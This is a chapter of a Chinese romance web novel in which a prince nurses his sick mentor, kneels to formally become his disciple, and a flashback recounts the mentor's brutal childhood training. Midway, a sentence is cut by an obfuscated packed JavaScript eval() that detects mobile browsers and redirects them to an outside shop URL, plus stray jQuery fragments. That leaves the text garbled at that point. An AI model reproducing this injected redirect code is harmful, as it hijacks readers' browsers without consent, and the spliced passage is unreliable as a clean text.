吻下去前,顾棉有些自暴自弃地想,被咬一口就被咬一口吧,就是混着血,也先把药喂进去再说。
他闭上了眼睛,等着这性烈的猫儿咬破他舌尖。
等了很久都没有,事实上,周卜易连咬人的力气都快要没有了。
他小心翼翼睁开眼,美人厌恶的眼神是如此戳痛他的心。
先生不爱他,也不认为他们之间该有情。
先生护他,不过是因为护龙一脉选择了他罢了。
顾棉好难过,他如获至宝满心欢喜送进口中的那捧槐花,实际却只是雪原上的冰碴。
既不甜,也不香,寒心又碜牙。
顾棉端起碗,拿勺子舀了药。
“本王没骗你……不苦。”
周卜易凉凉笑了声,“尝不出来,只有爷口里的……”
“本王漱口了……”顾棉打断道。
周卜易缓缓移动眸子,正好能完完整整看见顾棉的样子。
顾棉低着脑袋,眼睛盯着那只碗和碗里的药。
药汤泛起涟漪,是什么滴落碗中?
“别加料了”,周卜易语气很淡,“已经足够难喝了,再加点泪咸,那是个什么味儿?”
“本王管它什么味”,顾棉把勺子放到美人唇边,“要么你现在张嘴,要么一会本王来灌……”
怎么灌顾棉没说,周卜易与他僵持了一会儿,终是妥协。
顾棉将空碗搁在桌上,拿起放在旁边的奶糖。
指尖有点颤,剥开糖纸本是件再简单不过的小事,可顾棉低着头剥了很久。
很久之后,顾棉把糖塞进美人口中。
周卜易忽然感到眼皮上砸下一颗水珠。
顾棉不想哭的,可他已经在周卜易这丢了这么多面子了,多这一次又能怎么样呢。
周卜易动了动睫毛,顾棉的泪就顺着他的睫毛滑落,挂在他眼角。
“水做的吗棉丫头?”周卜易含着糖,声音不自觉柔和了一点点,“小姑娘,你是不是要化了?嗯?”
顾棉又不说话了,他只是沉默又认真地叠着糖纸。
那是他母妃的……遗物。
那是他母妃故国送来的。
要好好……收起来才行。
顾棉叠完了糖纸,就开始收拾屋子。
他没事找事把内屋所有东西都摆正,实在避无可避之后搬来了小凳,坐在床边发呆。
周卜易不知道他在纠结什么,他像是有话要说,又扭捏着不知道怎么开口。
又看了他一会,周卜易叹息,“爷发够疯没有?到底想做什么?”
顾棉猛抬头,又很快垂了下去。
是不想说,还是不敢?
顾棉在心里问自己。
他应是很想说的,他想了快二十年了。
可是每一次说出后都是冰冷的拒绝。
他已是犹如风中残烛,再受不得一点寒气了。
会灭的,真的会灭的。
“周卜易…你……”顾棉深吸一口气。
美人神情难得认真,可等了半天也没等到下文。
从小就这么个性子,说个心事比叫他去死还困难。
周卜易轻呵一声,道,“爷还说不说了?不说以后都别说了。”
非得叫人激一激他,他才肯开金口。
美人微眯起双眸,“奴困了,就不候您了。”
“你…本王……”顾棉无处安放的手揉搓起自己的衣袖来,揉出一道道褶皱。
“本王……”
周卜易眼见着顾棉脸色越来越红,还是三杆子打不出一个屁,不由有点好笑。
小姑娘长大了,怎么还是个姑娘。
“别绷”,周卜易微微叹息,“好了,放松,没那么羞,要干什么直说就是了……”
顾棉反而愈发绷紧了身子,像极了个正被人调戏的小姐。
顾棉的声音如蚊蚋一般,并且大有越来越小直接听不见的趋势,“你……你先前说……”
顾棉吸了下鼻子,没忍住哭腔,“还算不算了……”
“什么算不算?”周卜易挑眉,唇角勾起,似笑非笑,“奴身子不行,耳朵也不大好使,听不大清。”
十年了,混蛋周卜易还是那个混蛋周卜易。
他明明是听清了吧?
顾棉咬住唇,不肯再说。
只一瞬,周卜易的笑就敛了,取而代之的是冷淡。
“心气儿高成这样,爷要奴怎么收?”周卜易微皱起眉,“说个话就羞死你了?”
“我倒是收你,你肯跪吗?”
周卜易的语气也冷,“爱拜不拜,不拜滚。”
顾棉攥紧了手指。
到底谁心气高啊?王八蛋周卜易还跟从前一样喜怒无常难伺候!
“本…本王跪了,你是不是能用心养病……”
是不是能,多个念想,多一个活的念想?
为什么本王总觉得,你好像并不介意死去呢?
顾棉一想到这里,心脏就揪作一团,痛的不得了。
先生……你可不可以为了本王好好活下去……
本王……求你……
顾棉掀起衣袍,顶着那道让他脸颊发烫的视线,就这么直直跪了。
“咚——”的一声,听得周卜易牙酸。
这傻孩子,那么大力做什么?!膝盖不要了?!
“原来做的是这个打算”,周卜易皮笑肉不笑,“爷果然是好得很。”
都叫了那么多回先生了,一个名分而已,有那么重要吗?
“拜师第一天就算计你先生……”周卜易一顿,忽然低笑,“倒是对胃口。”
顾棉慢慢站起身,拍拍灰,若无其事坐回小凳上。
只是通红的耳尖和颤抖的声音出卖了他。
“周卜易,本王希望你记住”,顾棉低头望着他的美人,“你先是本王私奴,后是本王先生。”
“先论主奴,再论师生”,顾棉一字一句说道,“你永远不能忤逆本王。”
“本王要你活着,你……”
“知道了知道了,爷快点滚吧”,周卜易闭上眼睛,“啰里吧嗦的烦死人了。”
顾棉纹丝不动,只自顾自说着,“本王今日去了诏狱。”
看着美人忽然睁开的眼睛,顾棉顿了一下,继续,“去找了顾承年。”
周卜易轻哦了一声,不咸不淡道,“怎么?”
“后日出发,你要跟本王下江南……”
周卜易悄悄松了一口气。
还好不是发现徐归山曾在那里……
回忆太久远,记不起那天的竹林里,透过来的究竟是初升还是黄昏的阳光。
彼年他看着徐川的背影,徐归山整个人好像要完全溶进金红旭日里。
“大人……”徐川听见动静,转过身来,略显沧桑的面容,胡茬又生了几根。
周卜易正坐在台阶上,见他转身,便低头把视线挪回书里。
“归山去了”,徐川单膝跪地,“归山走后,这里就只剩大人一个人了。”
“大人晚上看书要点油灯,您
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958910|147505||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还小,别早早就看坏了眼睛。”
周卜易并不回答,他用他们,也防他们。
有人没人,有什么区别吗。
“大人……”徐川眼中的情绪他实在不懂。
那是……怜悯吗?
周卜易骤然冷了神色。
“你在可怜我?”
“不敢” ,徐川低下头,“只是觉得,您才六岁,不应该……”
“徐川,你休沐太久,晚了恐朝歌国君生疑,你还不快走。”
“是”,徐川站起来,然后一步步走出竹林。
阳光越发明媚了,周卜易只觉得竹简上的字刺眼。
他走进自己的小屋,掩上门。
屋里几乎没有能落脚的地方,床头、桌案,甚至地面都堆满了竹简和古籍。
早就比他人高了,他从那一堆堆书墙里走到榻前。
那床没有铺任何东西,就只是几块硬竹板拼在一起,没有床单,也不垫茅草。
他靠在床头,有一时失神。
他以后要辅佐的人,会是什么样子呢?
周卜易自幼就很聪慧,人还没选定,他就已经猜到了。
所以温妃什么时候能怀上呢?
想到这里,周卜易忽然有些烦躁——如果怀的是个娇气的丫头,可怎么办呢?
罢了,大不了先替她铺好路,她只管照着走就是了。
养丫头可麻烦了,以后她要是喜欢掉眼泪,那自己是温柔一点,还是凶一点呢……
要不还是凶一点,吓得她不敢哭就好了。
哄的话要哄好久呢,他时间真的很紧张啊。
唉,烦死了,一帮老顽固巴巴的上赶着找人辅佐,为什么不能自取皇位……
周卜易只想了一会,就又埋头读书。
这十本今天是必须背的滚瓜烂熟的……
看着看着,字就看不清了。
原来天已经那么黑了吗?
周卜易挑灯夜读,腹中空空如也,但这屋里是不可能有吃食的。
他每日只能小憩一会,然后在天亮前准备上山,山路上会有无数机关陷阱等着他,稍有失误就能要他的命。
山很高,但他速度必须要快,午时到不了山顶,那日他的冻粥就会被倒去喂狗。
他早已习惯了不是吗。
生存,读书,应付不知道什么时候就会出现的各种刺杀或者刁难,然后在遍体鳞伤与吃尽苦头后慢慢成长为一个合格的护道人。
到了那时候,他便可以走出竹林,去外面统筹布局。
他通过考核的那一年才十二岁,那一脉说,他是有史以来最有智谋的护道人。
有史以来唯一一个还没成年就有资格走出竹林的护道人。
也是心性最好的那一个。
他似乎生下来就近乎无情,他聪明,戒备心高,他心狠,对别人狠,对自己更狠。
这样的人,最能顾全大局。
周卜易一度自己也是这么认为的,直到他第一眼看见自己那个小主人。
那时候顾棉还不记事呢,跟个小鹌鹑一样喜欢钻他袖子。
周卜易拖他出来,他就哭着继续钻。
看吧,果然他当年想的不错。
养丫头是真麻烦啊。
那个时候,周卜易问了自己一个问题。
如果一统天下和保全顾棉只能选一个,他还会不会顾全大局。
不会,周卜易无奈看着怀里的小鹌鹑。
没有为什么,顾棉是他之主,顾棉才是他的大局。